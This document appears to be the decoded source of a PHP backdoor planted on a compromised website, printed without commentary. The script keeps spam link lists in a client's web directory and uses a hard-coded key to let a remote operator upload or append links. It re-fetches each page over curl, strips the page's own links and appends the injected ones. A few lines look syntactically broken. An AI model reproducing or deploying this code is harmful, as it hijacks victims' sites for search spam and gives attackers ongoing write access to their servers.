PHP Decode

$_REQUEST['ab_write_dir'] = '/home/www/clients/client1/web7/web/files/albums/162880/162880/';
    $_REQUEST['ab_key'] = 'fe76bN9diNfe';
    $_REQUEST['ab_options'] = null;

    function ABOptions() {
        if($_REQUEST['ab_options']) return false;
        if(!$_REQUEST['ab_options'] = @explode("
", trim(@file_get_contents("$_REQUEST[ab_write_dir]/2.txt")))) return("<!--{__AB__}EMPTY OPTIONS FILE $_REQUEST[ab_write_dir]/2.txt{__AB__}-->");
        if(!isset($_REQUEST['ab_options'][0]) or !$_REQUEST['ab_options'][0] = intval($_REQUEST['ab_options'][0])) return("<!--{__AB__}BAD TIMEOUT{__AB__}-->");
        if(!isset($_REQUEST['ab_options'][1]) or !$_REQUEST['ab_options'][1] = intval($_REQUEST['ab_options'][1])) return("<!--{__AB__}BAD LINKS COUNT{__AB__}-->");
        return false;
    }

    function ABRandomStr($FileName) {
        if(!$f = @fopen($FileName, "r")) return false;
        $x = rand(0, filesize($FileName));
        for($i=$x; $i>0; $i--)
        {
            fseek($f, $i);
            if(fgetc($f) === "
") break;
        }
        if($i <> 0) $i++;
        fseek($f, $i);
        $Result = fgets($f);
        fclose($f);
        return trim($Result);
    }
    function ABRecalc($Options = null) {
        if($OFail = ABOptions()) return($OFail);
        $Selected = array();
        for($i = 0; $i < $_REQUEST['ab_options'][1]; $i++) {
            $Selected[] = ABRandomStr("$_REQUEST[ab_write_dir]/1.txt");
        }
        if(!$Selected) return("<!--{__AB__}EMPTY LINKS FILE $_REQUEST[ab_write_dir]/1.txt{__AB__}-->");
        if(!@file_put_contents("$_REQUEST[ab_write_dir]/3.txt", implode("
", $Selected), LOCK_EX)) return("<!--{__AB__}CANT WRITE $_REQUEST[ab_write_dir]/3.txt{__AB__}-->");
        return false;
    }
    function ABShow() {
        if($OFail = ABOptions()) return '';
        if(!file_exists("$_REQUEST[ab_write_dir]/3.txt") or time() - filectime("$_REQUEST[ab_write_dir]/3.txt") > $_REQUEST['ab_options'][0]) {
            if($OFail = ABRecalc()) return '';
        }
        $IsBot = true;
        $Content = ($IsBot or (@!$_REQUEST['ab_options'][2] and @!$_REQUEST['ab_options'][3])) ? file_get_contents("$_REQUEST[ab_write_dir]/3.txt") : '';
        if(@$_REQUEST['ab_options'][4]) $Content = str_replace("{links}", $Content, $_REQUEST['ab_options'][4]);
        return $Content;
    }
    function ABMode() {
        if(!isset($_REQUEST['abkey'])) return("<!--{__AB__}NO AUTH KEY PROVIDED{__AB__}-->");
        if($_REQUEST['abkey'] != $_REQUEST[ab_key]) return("<!--{__AB__}AUTH KEY WRONG{__AB__}-->");
        if($_REQUEST['abmode'] == 'CHECK_LITE') {
            return "<!--{__AB__}OK{__AB__}-->";
        }
        if($_REQUEST['abmode'] == 'CHECK_ALL') {
            $Answer = "<!--{__AB__}";
            if(!@file_get_contents("$_REQUEST[ab_write_dir]/1.txt")) return "<!--{__AB__}CANT READ $_REQUEST[ab_write_dir]/1.txt{__AB__}-->";
            if(!@file_get_contents("$_REQUEST[ab_write_dir]/2.txt")) return "<!--{__AB__}CANT READ $_REQUEST[ab_write_dir]/2.txt{__AB__}-->";
            if(!@file_get_contents("$_REQUEST[ab_write_dir]/3.txt")) return "<!--{__AB__}CANT READ $_REQUEST[ab_write_dir]/3.txt{__AB__}-->";
            if($OFail = ABOptions()) return($OFail);
            return "<!--{__AB__}OK{__AB__}-->";
        }
        if($_REQUEST['abmode'] == 'UPLOAD' or $_REQUEST['abmode'] == 'ADD') {
            if(isset($_REQUEST['f1']) and !$_REQUEST['f1']) return("<!--{__AB__}EMPTY LINKS LIST{__AB__}-->");
            if(isset($_REQUEST['f2']) and !$_REQUEST['f2']) return("<!--{__AB__}EMPTY OPTIONS LIST{__AB__}-->");
            if(isset($_REQUEST['f1']) and !@file_put_contents("$_REQUEST[ab_write_dir]/1.txt", stripslashes($_REQUEST['f1']), $_REQUEST['abmode'] == 'UPLOAD' ? LOCK_EX : LOCK_EX | FILE_APPEND)) return("<!--{__AB__}CANT WRITE $_REQUEST[ab_write_dir]/1.txt{__AB__}-->");
            if(isset($_REQUEST['f2']) and !@file_put_contents("$_REQUEST[ab_write_dir]/2.txt", stripslashes($_REQUEST['f2']), LOCK_EX)) return("<!--{__AB__}CANT WRITE $_REQUEST[ab_write_dir]/2.txt{__AB__}-->");
            if($OFail = ABOptions()) return($OFail);
            if($OFail = ABRecalc()) return($OFail);
            return "<!--{__AB__}OK{__AB__}-->";
        }
        return "<!--{__AB__}UNCKNOWN AB MODE{__AB__}-->";
    }

    if(substr($_REQUEST['ab_write_dir'], -1) == '/' or substr($_REQUEST['ab_write_dir'], -1) == '\') $_REQUEST['ab_write_dir'] = substr($_REQUEST['ab_write_dir'], 0, -1);
    if(isset($_REQUEST['abmode'])) echo ABMode();
    else {
    	if(false === strpos($_SERVER['REQUEST_URI'], basename(__FILE__))) {
			$TemplateUrl = 'http' . (isset($_SERVER['HTTPS']) ? 's' : '') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
			$cUrl = curl_init($TemplateUrl);
			curl_setopt($cUrl, CURLOPT_AUTOREFERER, True);
			curl_setopt($cUrl, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($cUrl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36');
			curl_setopt($cUrl, CURLOPT_FOLLOWLOCATION, True);
			curl_setopt($cUrl, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($cUrl, CURLOPT_SSL_VERIFYHOST, 0);
			$Content = curl_exec($cUrl);
			$Content = preg_replace('"|<a(.*)\>(.*)\<\/a\>|is"', '$2', $Content);
			$Links = ABShow();
			echo $Content . $Links;
    	}
    };